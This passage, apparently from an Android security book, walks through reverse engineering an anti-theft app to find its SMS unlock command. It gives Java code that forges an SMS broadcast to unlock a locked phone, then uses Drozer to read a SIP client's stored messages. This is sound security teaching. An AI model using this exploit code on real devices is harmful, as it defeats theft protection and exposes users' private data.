if (v10.equals(v9) == 0) {
if (v10.equals(v5) == 0) {
if (v10.equals(v4) == 0) {
if (v10.equals(v1) == 0) {
if (v10.equals(v8) == 0) {
if (v10.equals(v7) == 0) {
if (v10.equals(v3) == 0) {
if (v10.equals(v2) != 0) {
this.processDeactivateMsg(p16,
v11);
}
} else {
this.processFindMsg(p16, v11);
}
} else {
this.processResyncMsg(p16, v11);
}
} else {
this.processUnLockMsg(p16, v11);
}
...
You see similar calls to getString as you did in isValidMessage, along with
a series of if statements which further test the content of the SMS body to
determine what method(s) to call thereafter. Of particular interest is finding
what’s required to reach processUnLockMsg, which presumably unlocks the
device. Before that, however, there’s some split method that’s called on p17,
the message body string:
In [1017]: d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.METHOD_split.source()
java.util.Vector split(String p6)
{
v3 = new java.util.Vector();
v2 = 0;
do {
v1 = p6.indexOf(" ", v2);
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if (v1 < 0) {
v0 = p6.substring(v2);
} else {
v0 = p6.substring(v2, v1);
}
v3.addElement(v0);
v2 = (v1 + 1);
} while(v1 != -1);
return v3;
}
This fairly simple method takes the message and chops it up into a Vector
(similar to an array), and returns that. Back in processContent, weeding through
the nest of if statements, it looks like whatever’s in v8 is important. There’s still
the trouble of the resource IDs, however. Try disassembling it to see if you have
better luck:
In [920]: d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.METHOD_processContent.show()
...
************************************************************************
...
12 (00000036) const
v13, 2131296282
13 (0000003c) move-object/from16 v0, v16
14 (00000040) invoke-virtual
v0, v13,
Landroid/content/Context;->getString(I)Ljava/lang/String;
15 (00000046) move-result-object v4
16 (00000048) const
v13, 2131296283
17 (0000004e) move-object/from16 v0, v16
18 (00000052) invoke-virtual
v0, v13,
Landroid/content/Context;->getString(I)Ljava/lang/String;
19 (00000058) move-result-object v8
...
You have numeric resource IDs now. The integer 2131296283 corresponds to
something going into your register of interest, v8. Of course, you still need to
know what the actual textual value is for those resource IDs. To find these values,
employ a bit more Python within androlyze by analyzing the APK’s resources:
aobj = a.get_android_resources()
resid = 2131296283
pkg = aobj.packages.keys()[0]
reskey = aobj.get_id(pkg,resid)[1]
aobj.get_string(pkg,reskey)
The Python code first creates an ARSCParser object, aobj, representing all the
supporting resources for the APK, like strings, UI layouts, and so on. Next, resid
holds the numeric resource ID you’re interested in. Then, it fetches a list with the
package name/identifier using aobj.packages.keys, storing it in pkg. The textual
resource key is then stored in reskey by calling aobj.get_id, passing in pkg and
resid. Finally, the string value of reskey is resolved using aobj.get_string.
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Ultimately, this snippet outputs the true string that processContent resolved—
YGIB:U. For brevity’s sake, do this in one line as shown here:
In [25]: aobj.get_string(aobj.packages.keys()[0],aobj.get_id(aobj.
packages.keys()[0],2131296283)[1])
Out[25]: [u'YGIB_UNLOCK', u'YGIB:U']
At this juncture, we know that the SMS message will need to contain “YGIB:U”
to potentially reach processUnLockMsg. Look at that method to see if there’s
anything else you need:
In [1015]: d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.METHOD_processUnLockMsg.source()
private void processUnLockMsg(android.content.Context p16,
java.util.Vector p17)
{
...
v9 = p16.getSharedPreferences("SuperheroPrefsFile", 0);
if (p17.size() >= 2) {
v1 = p17.elementAt(1);
if (v9.getString("tagcode", "") == 0) {
android.util.Log.v("SWIPEWIPE",
"recieved unlock message");
com.yougetitback.androidapplication.wipe.WipeController.
stopWipeService(p16);
v7 = new android.content.Intent("com.yougetitback.
androidapplication.BACKGROUND");
v7.setClass(p16, com.yougetitback.androidapplication.
ForegroundService);
p16.stopService(v7);
v10 = new android.content.Intent("com.yougetitback.
androidapplication.BACKGROUND");
v10.setClass(p16, com.yougetitback.androidapplication.
SirenService);
p16.stopService(v10);
v9.edit();
v6 = v9.edit();
v6.putBoolean("lockState", 0);
v6.putString("lockid", "");
v6.commit();
v5 = new android.content.Intent("com.yougetitback.
androidapplication.FOREGROUND");
v5.setClass(p16, com.yougetitback.androidapplication.
UnlockAcknowledgeService);
p16.startService(v5);
}
}
return;
}
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This time you see that a key called tagcode is pulled from the SuperheroPrefsFile
file, and then a series of services are stopped (and another started), which you
can assume unlocks the phone. This doesn’t seem right, as it would imply that
so long as this key existed in the Shared Preferences file, it would evaluate
to true—this is likely a decompiler error, so let’s check the disassembly with
pretty_show:
In [1025]: d.CLASS_Lcom_yougetitback_androidapplication_
SmsIntentReceiver.METHOD_processUnLockMsg.pretty_show()
...
12 (00000036) const-string
v13, 'SuperheroPrefsFile'
13 (0000003a) const/4
v14, 0
14 (0000003c) move-object/from16 v0, v16
15 (00000040) invoke-virtual
v0, v13, v14,
Landroid/content/Context;->getSharedPreferences
(Ljava/lang/String; I)Landroid/content/SharedPreferences;
16 (00000046) move-result-object v9
17 (00000048) const-string
v1, ''
18 (0000004c) const-string
v8, ''
19 (00000050) invoke-virtual/rangev17, Ljava/util/Vector;->
size()I
20 (00000056) move-result
v13
21 (00000058) const/4
v14, 2
22 (0000005a) if-lt
v13, v14, 122
[ [email protected] [email protected] ]
[email protected] :
23 (0000005e) const/4
v13, 1
24 (00000060) move-object/from16 v0, v17
25 (00000064) invoke-virtual
v0, v13,
Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
26 (0000006a) move-result-object v1
27 (0000006c) check-cast
v1, Ljava/lang/String;
28 (00000070) const-string
v13, 'tagcode'
29 (00000074) const-string
v14, ''
30 (00000078) invoke-interface
v9, v13, v14,
Landroid/content/SharedPreferences;->getString(
Ljava/lang/String; Ljava/lang/String;)
Ljava/lang/String;
31 (0000007e) move-result-object v13
32 (00000080) invoke-virtual
v15, v1,
Lcom/yougetitback/androidapplication/
SmsIntentReceiver;->EvaluateToken(
Ljava/lang/String;)Ljava/lang/String;
33 (00000086) move-result-object v14
34 (00000088) invoke-virtual
v13, v14, Ljava/lang/String;>compareTo(Ljava/lang/String;)I
35 (0000008e) move-result
v13
36 (00000090) if-nez
v13, 95 [ [email protected]
0x94 [email protected] ]
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[email protected] :
37 (00000094) const-string
v13, 'SWIPEWIPE'
38 (00000098) const-string
v14, 'recieved unlock message'
39 (0000009c) invoke-static
v13, v14, Landroid/util/Log;>v(Ljava/lang/String; Ljava/lang/String;)I
40 (000000a2) invoke-static/range v16,
Lcom/yougetitback/androidapplication/wipe/WipeController;
->stopWipeService(Landroid/content/Context;)V
[ [email protected] ]
...
That clears it up—the value of the second element of the vector passed in is
passed to EvaluateToken, and then the return value is compared to the value of
the tagcode key in the Shared Preferences file. If these two values match, then
the method continues as you previously saw. With that, you should realize that
your SMS message will need to effectively be something like YGIB:U followed
by a space and the tagcode value. On a rooted device, retrieving this tag code
would be fairly easy, as you could just read the SuperheroPrefsFile directly
off the file system. However, try taking some dynamic approaches and see if
you come up with anything else.
Dynamic Analysis
Dynamic analysis entails executing the application, typically in an instrumented
or monitored manner, to garner more concrete information on its behavior. This
often entails tasks like ascertaining artifacts the application leaves on the file
system, observing network traffic, monitoring process behavior...all things that
occur during execution. Dynamic analysis is great for verifying assumptions
or testing hypotheses.
The first few things to address from a dynamic standpoint are getting a handle
on how a user would interact with the application. What is the workflow? What
menus, screens, and settings panes exist? Much of this can be discovered via
static analysis—for instance, activities are easily identifiable. However, getting
into the details of their functionality can be time consuming. It’s often easier
to just interact directly with the running application.
If you fire up logcat while launching the app, you see some familiar activity
names as the ActivityManager spins the app up:
I/ActivityManager( 245): START {act=android.intent.action.MAIN
cat=[android.intent.category.LAUNCHER] flg=0x10200000
cmp=com.yougetitback.androidapplication.virgin.mobile/
com.yougetitback.androidapplication.ActivateSplashScreen u=0} from pid 449
I/ActivityManager( 245): Start proc
com.yougetitback.androidapplication.virgin.mobile for activity
com.yougetitback.androidapplication.virgin.mobile/
com.yougetitback.androidapplication.ActivateSplashScreen:
pid=2252 uid=10080 gids={1006, 3003, 1015, 1028}
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First, you see the main activity (ActivateSplashScreen), as observed via
Androguard’s get_main_activity, and you see the main screen in Figure 4-5.
Figure 4-5: Splash screen/main activity
Moving through the app a bit more, you see prompts for a PIN and a security question as shown in Figure 4-6. After supplying this info, you see some
notable output in logcat.
D/YGIB Test( 2252): Context from—
>com.yougetitback.androidapplication.virgin.mobile
I/RequestConfigurationService( 2252): RequestConfigurationService
created!!!
D/REQUESTCONFIGURATIONSERVICE( 2252): onStartCommand
I/ActivationAcknowledgeService( 2252): RequestConfigurationService
created!!!
I/RequestConfigurationService( 2252): RequestConfigurationService
stopped!!!
I/PingService( 2252): PingService created!!!
D/PINGSERVICE( 2252): onStartCommand
I/ActivationAcknowledgeService( 2252): RequestConfigurationService
stopped!!!
I/PingService( 2252): RequestEtagService stopped!!!
D/C2DMReceiver( 2252): Action is com.google.android.c2dm.intent.
REGISTRATION
I/intent telling something( 2252): == null ===null === Intent {
act=com.google.android.c2dm.intent.REGISTRATION flg=0x10
pkg=com.yougetitback.androidapplication.virgin.mobile
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cmp=com.yougetitback.androidapp
lication.virgin.mobile/
com.yougetitback.androidapplication.C2DMReceiver (has extras) }
I/ActivityManager( 245): START
{cmp=com.yougetitback.androidapplication.virgin.mobile/
com.yougetitback.androidapplication.ModifyPinScreen u=0} from pid 2252
...
Figure 4-6: PIN input and security questions screen
Sure enough, there are calls being logged to start and stop some of the services
you observed earlier, along with familiar activity names. Further down in the
log, however, you see an interesting information leak:
D/update ( 2252): serverUrl-->https://virgin.yougetitback.com/
D/update ( 2252): settingsUrl-->vaultUpdateSettings?
D/update ( 2252): password-->3f679195148a1960f66913d09e76fca8dd31dc96
D/update ( 2252): tagCode-->137223048617183
D/update ( 2252): encodedXmlData—
>%3c%3fxml%20version%3d'1.0'%20encoding%3d'UTF8'%3f%3e%3cConfig%3e%3cSettings%3e%3cPin%3e1234%3c
%2fPin%3e%3c%2fSettings%3e%3c%2fConfig%3e
...
D/YGIB Test( 2252): con.getResponseCode()-->200
D/YGIB Test( 2252): urlString—
>https://virgin.yougetitback.com/vaultUpdateSettings?pword=
3f679195148a1960f66913d09e76fca8dd31dc96&tagid=137223048617183&type=S
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D/YGIB Test( 2512): content-->%3c%3fxml%20version%3d'1.0'%20encoding%3d'
UTF-8'%3f%3e%3cConfig%3e%3cSettings%3e%3cPin%3e1234%3c%2fPin
%3e%3c%2fSettings%3e%3c%2fConfig%3e
Even within the first few steps of this application’s workflow, it
already leaks session and configuration data, including what could be the
tagcode you were eyeing during static analysis. Diddling with and then saving
configuration settings in the application also yields similarly verbose output
in the log buffer:
D/update ( 2252): serverUrl-->https://virgin.yougetitback.com/
D/update ( 2252): settingsUrl-->vaultUpdateSettings?
D/update ( 2252): password-->3f679195148a1960f66913d09e76fca8dd31dc96
D/update ( 2252): tagCode-->137223048617183
D/update ( 2252): encodedXmlData—
>%3c%3fxml%20version%3d'1.0'%20encoding%3d'UTF8'%3f%3e%3cConfig%3e%3cSettings%3e%3cServerNo%3e+447781482187%3c%2fServerNo%3e%
3cServerURL%3ehttps:%2f%2fvirgin.yougetitback.com%2f%3c%2fServerURL%3e%3cBackup
URL%3eContactsSave%3f%3c%2fBackupURL%3e%3cMessageURL%3ecallMainETagUSA%3f%3c%2f
MessageURL%3e%3cFindURL%3eFind%3f%3c%2fFindURL%3e%3cExtBackupURL%3eextContactsS
ave%3f%3c%2fExtBackupURL%3e%3cRestoreURL%3erestorecontacts%3f%3c%2fRestoreURL%3
e%3cCallCentre%3e+442033222955%3c%2fCallCentre%3e%3cCountryCode%3eGB%3c%2fCount
ryCode%3e%3cPin%3e1234%3c%2fPin%3e%3cURLPassword%3e3f679195148a1960f66913d09e76
fca8dd31dc96%3c%2fURLPassword%3e%3cRoamingLock%3eoff%3c%2fRoamingLock%3e%3cSimL
ock%3eon%3c%2fSimLock%3e%3cOfflineLock%3eoff%3c%2fOfflineLock%3e%3cAutolock%20I
nterval%3d%220%22%3eoff%3c%2fAutolock%3e%3cCallPatternLock%20OutsideCalls%3d%22
6%22%20Numcalls%3d%226%22%3eon%3c%2fCallPatternLock%3e%3cCountryLock%3eoff%3c%2
fCountryLock%3e%3c%2fSettings%3e%3cCountryPrefix%3e%3cPrefix%3e+44%3c%2fPrefix%
3e%3c%2fCountryPrefix%3e%3cIntPrefix%3e%3cInternationalPrefix%3e00%3c%2fInterna
tionalPrefix%3e%3c%2fIntPrefix%3e%3c%2fConfig%3e
As mentioned previously, this information would be accessible by an application with the READ_LOGS permission (prior to Android 4.1). Although this
particular leak may be sufficient for achieving the goal of crafting the special
SMS, you should get a bit more insight into just how this app runs. For that you
use a debugger called AndBug.
AndBug connects to Java Debug Wire Protocol (JDWP) endpoints, which the
Android Debugging Bridge (ADB) exposes for app processes either marked
explicitly with android:debuggable=true in their manifest, or for all app processes if the ro.debuggable property is set to 1 (typically set to 0 on production
devices). Aside from checking the manifest, running adb jdwp show debuggable
PIDs. Assuming the target application is debuggable, you see output as follows:
$ adb jdwp
2252
Using grep to search for that PID maps accordingly to our target process (also
seen in the previously shown logs):
$ adb shell ps | grep 2252
u0_a79
2252 88
289584 36284 ffffffff 00000000 S
com.yougetitback.androidapplication.virgin.mobile
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After you have this info, you can attach AndBug to the target device and
process and get an interactive shell. Use the shell command and specify the
target PID:
$ andbug shell -p 2252
## AndBug (C) 2011 Scott W. Dunlop <[email protected]>
>>
Using the classes command, along with a partial class name, you can see
what classes exist in the com.yougetitback namespace. Then using the methods
command, discover the methods in a given class:
>> classes com.yougetitback
## Loaded Classes
-- com.yougetitback.androidapplication.
PinDisplayScreen$XMLParserHandler
-- com.yougetitback.androidapplication.settings.main.Entrance$1
...
-- com.yougetitback.androidapplication.
PinDisplayScreen$PinDisplayScreenBroadcast
-- com.yougetitback.androidapplication.SmsIntentReceiver
-- com.yougetitback.androidapplication.C2DMReceiver
-- com.yougetitback.androidapplication.settings.setting.Setting
...
>> methods com.yougetitback.androidapplication.SmsIntentReceiver
## Methods Lcom/yougetitback/androidapplication/SmsIntentReceiver;
-- com.yougetitback.androidapplication.SmsIntentReceiver.<init>()V
-- com.yougetitback.androidapplication.SmsIntentReceiver.
foregroundUI(Landroid/content/Context;)V
-- com.yougetitback.androidapplication.SmsIntentReceiver.
getAction(Ljava/lang/String;)Ljava/lang/String;
-- com.yougetitback.androidapplication.SmsIntentReceiver.
getMessagesFromIntent(Landroid/content/Intent;)[Landroid/telephony/
SmsMessage;
-- com.yougetitback.androidapplication.SmsIntentReceiver.
isPinLock(Ljava/lang/String;Landroid/content/Context;)Z
-- com.yougetitback.androidapplication.SmsIntentReceiver.
isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z
...
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V
In the preceding code you see the class you were statically analyzing and
reversing earlier: SmsIntentReceiver, along with the methods of interest. You
can now trace methods and their arguments and data. Start by tracing the
SmsIntentReceiver class, using the class-trace command in AndBug, and
then sending the device a test SMS message with the text Test message:
>> class-trace com.yougetitback.androidapplication.SmsIntentReceiver
## Setting Hooks
-- Hooked com.yougetitback.androidapplication.SmsIntentReceiver
...
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com.yougetitback.androidapplication.SmsIntentReceiver
>> ## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.<init>()V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>
...
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.onReceive(
Landroid/content/Context;Landroid/content/Intent;)V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>
-- intent=Landroid/content/Intent; <830009581024>
...
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.
getMessagesFromIntent(Landroid/content/Intent;)
[Landroid/telephony/SmsMessage;:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>
-- intent=Landroid/content/Intent; <830009581024>
...
-- com.yougetitback.androidapplication.SmsIntentReceiver.
isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830009571568>
-- msg=Test message
-- context=Landroid/app/ReceiverRestrictedContext; <830007895400>
...
As soon as the SMS message arrives, passed up from the Telephony subsystem,
your hook fires, and you begin tracing from the initial onReceive method and
beyond. You see the Intent message that was passed to onReceive, as well as the
subsequent, familiar messages called thereafter. There’s also the msg variable in
isValidMessage, containing our SMS text. As an aside, looking back the logcat
output, you also see the message body being logged:
I/MessageListener:( 2252): Test message
A bit further down in the class-trace, you see a call to isValidMessage, including a Context object being passed in as an argument—and a set of fields in that
object which, in this case, map to resources and strings pulled from the strings
table (which you resolved manually earlier). Among them is the YGIB:U value you
saw earlier, and a corresponding key YGIBUNLOCK. Recalling your static analysis
of this method, the SMS message body is being checked for these values, calling
isPinLock if they’re not present, as shown here:
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.getAction(
Ljava/lang/String;)Ljava/lang/String;:0
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-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830007979232>
-- message=Foobarbaz
-- com.yougetitback.androidapplication.SmsIntentReceiver.
isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z:63
-- YGIBDEACTIVATE=YGIB:D
-- YGIBFIND=YGIB:F
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
-- YGIBUNLOCK=YGIB:U
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830007979232>
-- YGIBBACKUP=YGIB:B
-- YGIBRESYNC=YGIB:RS
-- YGIBLOCK=YGIB:L
-- YGIBWIPE=YGIB:W
-- YGIBRESTORE=YGIB:E
-- msg=Foobarbaz
-- YGIBREGFROM=YGIB:T
...
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.isPinLock(
Ljava/lang/String;Landroid/content/Context;)Z:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830007979232>
-- msg=Foobarbaz
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
...
In this case isPinLock then evaluates the message, but the SMS message
contains neither the PIN nor one of those strings (like YGIB:U). The app does
nothing with this SMS and instead passes it along to the next registered Broadcast
Receiver in the chain. If you send an SMS message with the YGIB:U value, you’ll
likely see a different behavior:
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processContent(Landroid/content/Context;Ljava/lang/String;)V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830008303000>
-- m=YGIB:U
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
...
## trace thread <1> main
(running suspended)
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830008303000>
-- smsTokens=Ljava/util/Vector; <830008239000>
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
-- com.yougetitback.androidapplication.SmsIntentReceiver.
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processContent(Landroid/content/Context;Ljava/lang/String;)V:232
-- YGIBDEACTIVATE=YGIB:D
-- YGIBFIND=YGIB:F
-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>
-- YGIBUNLOCK=YGIB:U
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830008303000>
-- settings=Landroid/app/ContextImpl$SharedPreferencesImpl;
<830007888144>
-- m=YGIB:U
-- YGIBBACKUP=YGIB:B
-- YGIBRESYNC=YGIB:RS
-- YGIBLOCK=YGIB:L
-- messageTokens=Ljava/util/Vector; <830008239000>
-- YGIBWIPE=YGIB:W
-- YGIBRESTORE=YGIB:E
-- command=YGIB:U
-- YGIBREGFROM=YGIB:T
This time, you ended up hitting both the processContent method and subsequently the processUnLockMsg method, as you wanted. You can set a breakpoint
on the processUnLockMsg method, giving an opportunity to inspect it in a bit
more detail. You do this using AndBug’s break command, and pass the class
and method name as arguments:
>> break com.yougetitback.androidapplication.SmsIntentReceiver
processUnLockMsg
## Setting Hooks
-- Hooked <536870913> com.yougetitback.androidapplication.
SmsIntentReceiver.processUnLockMsg(Landroid/content/Context;
Ljava/util/Vector;)V:0 <class 'andbug.vm.Location'>
>> ## Breakpoint hit in thread <1> main
(running suspended), process
suspended.
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processContent(Landroid/content/Context;Ljava/lang/String;)V:232
-- com.yougetitback.androidapplication.SmsIntentReceiver.
onReceive(Landroid/content/Context;Landroid/content/Intent;)V:60
-...
You know from the earlier analysis that getString will be called to retrieve
some value from the Shared Preferences file, so add a class-trace on the
android.content.SharedPreferences class. Then resume the process with
the resume command:
>> ct android.content.SharedPreferences
## Setting Hooks
-- Hooked android.content.SharedPreferences
>> resume
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N O T E Running a method-trace or setting a breakpoint directly on certain methods
can result in blocking and process death, hence why you’re just tracing the entire
class. Additionally, the resume command may need to be run twice.
After the process is resumed, the output will be fairly verbose (as before).
Wading once again through the call stack, you’ll eventually come up on the
getString method:
## Process Resumed
>> ## trace thread <1> main
(running suspended)
...
## trace thread <1> main
(running suspended)
-- android.app.SharedPreferencesImpl.getString(Ljava/lang/String;
Ljava/lang/String;)Ljava/lang/String;:0
-- this=Landroid/app/SharedPreferencesImpl; <830042611544>
-- defValue=
-- key=tagcode
-- com.yougetitback.androidapplication.SmsIntentReceiver.
processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:60
-- smsTokens=Ljava/util/Vector; <830042967248>
-- settings=Landroid/app/SharedPreferencesImpl; <830042611544>
-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;
<830042981888>
-- TYPELOCK=L
-- YGIBTAG=TAG:
-- TAG=AAAA
-- YGIBTYPE=TYPE:
-- context=Landroid/app/ReceiverRestrictedContext; <830042704872>
-- setting=
...
And there it is, the Shared Preferences key you were looking for: tagcode,
further confirming what you identified statically. This also happens to correspond to part of a log message that was leaked earlier, wherein tagCode was
followed by a numeric string. Armed with this information, you know that our
SMS message in fact needs to contain YGIB:U followed by a space and a tagcode
value, or in this case, YGIB:U 137223048617183.
Attack
Although you could simply send your specially crafted SMS message to the
target device, you’d still be out of luck in simply knowing the tagcode value if
it happened to be different for some other, perhaps arbitrary, device (which is
practically guaranteed). To this end, you’d want to leverage the leaked value
in the log, which you could get in your proof-of-concept app by requesting the
READ_LOGS permission.
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After this value is known, a simple SMS message to the target device, following
the format YGIB:U 137223048617183 would trigger the app’s unlock component.
Alternatively, you could go a step further and forge the SMS_RECEIVED broadcast
from your proof-of-concept app. As sending an implicit SMS_RECEIVED Intent
requires the SEND_SMS_BROADCAST permission (which is limited only to system
applications), you’ll explicitly specify the Broadcast Receiver in the target app.
The overall structure of SMS Protocol Data Units (PDUs) is beyond the scope
of this chapter, and some of those details are covered in Chapter 11, but the
following code shows pertinent snippets to forge the Intent containing your
SMS message:
String body = "YGIB:U 137223048617183";
String sender = "2125554242";
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("
0000000000");
byte[] senderBytes =
PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = reverseByte((byte) (calendar.get(
Calendar.MONTH) + 1));
dateBytes[2] = reverseByte((byte) (calendar.get(
Calendar.DAY_OF_MONTH)));
dateBytes[3] = reverseByte((byte) (calendar.get(
Calendar.HOUR_OF_DAY)));
dateBytes[4] = reverseByte((byte) (calendar.get(
Calendar.MINUTE)));
dateBytes[5] = reverseByte((byte) (calendar.get(
Calendar.SECOND)));
dateBytes[6] = reverseByte((byte) ((calendar.get(
Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try
{
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);
bo.write(scBytes);
bo.write(0x04);
bo.write((byte) sender.length());
bo.write(senderBytes);
bo.write(0x00);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
try
{
String sReflectedClassName =
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"com.android.internal.telephony.GsmAlphabet";
Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(
null,body);
bo.write(bodybytes);
...
pdu = bo.toByteArray();
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.yougetitback.
androidapplication.virgin.mobile",
"com.yougetitback.androidapplication.SmsIntentReceiver"));
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.sendOrderedBroadcast(intent,null);
The code snippet first builds the SMS PDU, including the YGIB:U command,
tagcode value, the sender’s number, and other pertinent PDU properties. It
then uses reflection to call stringToGsm7BitPacked and pack the body of the
PDU into the appropriate representation. The byte array representing the PDU
body is then placed into the pdu object. Next, An Intent object is created, with
its target component set to that of the app’s SMS receiver and its action set to
SMS_RECEIVED. Next, some extra values are set. Most importantly, the pdu object
is added to the extras using the "pdus" key. Finally, sendOrderdBroadcast is
called, which sends your Intent off, and instructs the app to unlock the device.
To demonstrate this, the following code is the logcat output when the device
is locked (in this case via SMS, where 1234 is the user’s PIN which locks the
device):
I/MessageListener:(14008): 1234
D/FOREGROUNDSERVICE(14008): onCreate
I/FindLocationService(14008): FindLocationService created!!!
D/FOREGROUNDSERVICE(14008): onStartCommand
D/SIRENSERVICE(14008): onCreate
D/SIRENSERVICE(14008): onStartCommand
...
I/LockAcknowledgeService(14008): LockAcknowledgeService created!!!
I/FindLocationService(14008): FindLocationService stopped!!!
I/ActivityManager(13738): START {act=android.intent.action.VIEW
cat=[test.foobar.123] flg=0x10000000
cmp=com.yougetitback.androidapplication.virgin.mobile/
com.yougetitback.androidapplication.SplashScreen u=0} from pid 14008
...
Figure 4-7 shows the screen indicating a locked device.
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Figure 4-7: App-locked device screen
When your app runs, sending the forged SMS to unlock the device, you see
the following logcat output:
I/MessageListener:(14008): YGIB:U TAG:136267293995242
V/SWIPEWIPE(14008): recieved unlock message
D/FOREGROUNDSERVICE(14008): onDestroy
I/ActivityManager(13738): START {act=android.intent.action.VIEW
cat=[test.foobar.123] flg=0x10000000
cmp=com.yougetitback.androidapplication.virgin.mobile/
com.yougetitback.androidapplication.SplashScreen (has extras) u=0}
from pid 14008
D/SIRENSERVICE(14008): onDestroy
I/UnlockAcknowledgeService(14008): UnlockAcknowledgeService created!!!
I/UnlockAcknowledgeService(14008): UnlockAcknowledgeService stopped!!!
And you return to an unlocked device.
Case Study: SIP Client
This brief example shows you how to discover an unprotected Content Provider—
and retrieve potentially sensitive data from it. In this case, the application is
CSipSimple, a popular Session Initiation Protocol (SIP) client. Rather than going
through the same workflow as the previous app, we’ll jump right into another
quick-and-easy dynamic analysis technique.
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Enter Drozer
Drozer (formerly known as Mercury), by MWR Labs, is an extensible, modular
security testing framework for Android. It uses an agent application running on
the target device, and a Python-based remote console from which the tester can
issue commands. It features numerous modules for operations like retrieving
app information, discovering unprotected IPC interfaces, and exploiting the
device. By default, it will run as a standard app user with only the INTERNET
permission.
Discovery
With Drozer up and running, you quickly identify Content Provider URIs
exported by CSipSimple, along with their respective permission requirements.
Run the app.provider.info module, passing –a com.csipsimple as the arguments to limit the scan to just the target app:
dz> run app.provider.info -a com.csipsimple
Package: com.csipsimple
Authority: com.csipsimple.prefs
Read Permission: android.permission.CONFIGURE_SIP
Write Permission: android.permission.CONFIGURE_SIP
Multiprocess Allowed: False
Grant Uri Permissions: False
Authority: com.csipsimple.db
Read Permission: android.permission.CONFIGURE_SIP
Write Permission: android.permission.CONFIGURE_SIP
Multiprocess Allowed: False
Grant Uri Permissions: False
To even interact with these providers, the android.permission.CONFIGURE_SIP
permission must be held. Incidentally, this is not a standard Android permission—it is a custom permission declared by CSipSimple. Check CSipSimple’s
manifest to find the permission declaration. Run app.package.manifest, passing
the app package name as the sole argument. This returns the entire manifest,
so the following output has been trimmed to show only the pertinent lines:
dz> run app.package.manifest com.csipsimple
...
<permission label="@2131427348" name="android.permission.CONFIGURE_SIP"
protectionLevel="0x1" permissionGroup="android.permission-group.COST_MONEY"
description="@2131427349">
</permission>
...
You see that the CONFIGURE_SIP permission is declared with a protectionLevel of
0x1, which corresponds to “dangerous” (which would prompt the user to accept
the permission at install time, something most users might do anyway). However,
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as neither signature nor signatureOrSystem are specified, other applications may
request this permission. The Drozer agent does not have this by default, but
that’s easily rectified by modifying the manifest and rebuilding the agent APK.
After your re-minted Drozer agent has the CONFIGURE_SIP permission, you
can begin querying these Content Providers. You start by discovering the content
URIs exposed by CSipSimple. To accomplish this, run the appropriately named
app.provider.finduris module:
dz> run app.provider.finduri com.csipsimple
Scanning com.csipsimple...
content://com.csipsimple.prefs/raz
content://com.csipsimple.db/
content://com.csipsimple.db/calllogs
content://com.csipsimple.db/outgoing_filters
content://com.csipsimple.db/accounts/
content://com.csipsimple.db/accounts_status/
content://com.android.contacts/contacts
...
Snarfing
This gives us numerous options, including interesting ones like messages
and calllogs . Query these providers, starting with messages , using the
app.provider.query module, with the content URI as the argument.
dz> run app.provider.query content://com.csipsimple.db/messages
| id | sender | receiver
| contact
| body
| mime_type | type | date
| status | read | full_sender
|
| 1 | SELF
| sip:[email protected] | sip:[email protected] | Hello! |
text/plain | 5
| 1372293408925 | 405
| 1
| < sip:[email protected]> |
This returns the column names and rows of data stored, in this case, in a SQLite
database backing this provider. The instant messaging logs are accessible to you
